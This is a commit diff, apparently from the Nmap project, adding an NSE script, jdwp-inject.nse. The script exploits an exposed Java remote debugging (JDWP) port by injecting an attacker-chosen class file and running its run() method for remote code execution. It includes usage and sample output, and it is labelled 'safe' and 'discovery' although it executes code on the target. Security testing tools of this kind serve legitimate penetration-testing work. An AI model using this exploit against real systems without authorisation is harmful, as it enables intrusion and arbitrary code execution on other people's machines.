Merged jdwp library, scripts and java classes into trunk

scripts/jdwp-inject.nse

@@ -0,0 +1,79 @@
+local jdwp = require "jdwp"
+local stdnse = require "stdnse"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local string = require "string"
+
+description = [[
+Script to exploit java's remote debugging port. 
+
+When remote debugging port is left open, it is possible to inject 
+java bytecode and achieve remote code execution.
+
+After injection, class' run() method is executed.
+Method run() has no parameters, and is expected to return a string.
+
+You can specify your own .class file to inject by <code>filename</code> argument.
+See nselib/data/jdwp-class/README for more.
+]]
+
+author = "Aleksandar Nikolic" 
+license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
+categories = {"safe","discovery"}
+
+---
+-- @usage nmap -sT <target> -p <port> --script=+jdwp-inject --script-args filename=HelloWorld.class
+--
+-- @args filename	Java .class file to inject.
+-- @output
+-- PORT     STATE SERVICE REASON
+-- 2010/tcp open  search  syn-ack
+-- | jdwp-inject:
+-- |_  Hello world from the remote machine!
+--
+portrule = function(host, port)
+        -- JDWP will close the port if there is no valid handshake within 2
+	-- seconds, Service detection's NULL probe detects it as tcpwrapped.
+        return port.service == "tcpwrapped"
+               and port.protocol == "tcp" and port.state == "open"
+               and not(shortport.port_is_excluded(port.number,port.protocol))
+end
+
+action = function(host, port)
+	stdnse.sleep(5) -- let the remote socket recover from connect() scan
+	local status,socket = jdwp.connect(host,port) -- initialize the connection
+	if not status then
+		stdnse.print_debug("error, %s",socket)
+	end
+
+	-- read .class file 
+	local filename = stdnse.get_script_args(SCRIPT_NAME .. '.filename')
+	if filename == nil then
+		stdnse.print_debug("This script requires a .class file to inject.")
+		return false 
+	end
+	local file = io.open(nmap.fetchfile(filename), "rb") 
+	local class_bytes = file:read("*all")
+	
+	-- inject the class
+	local injectedClass
+	status,injectedClass = jdwp.injectClass(socket,class_bytes)
+	-- find injected class method
+	local runMethodID = jdwp.findMethod(socket,injectedClass.id,"run",false)
+	
+	if runMethodID == nil then
+		stdnse.print_debug("Couldn't find run method.")
+		return false
+	end	
+	
+	-- invoke run method
+	local result 	
+	status, result = jdwp.invokeObjectMethod(socket,0,injectedClass.instance,injectedClass.thread,injectedClass.id,runMethodID,0,nil) 
+	-- get the result string
+	local stringID
+	_,_,stringID = bin.unpack(">CL",result)
+	status,result = jdwp.readString(socket,0,stringID)	
+	-- parse results 
+	return stdnse.format_output(true,result)	
+end
+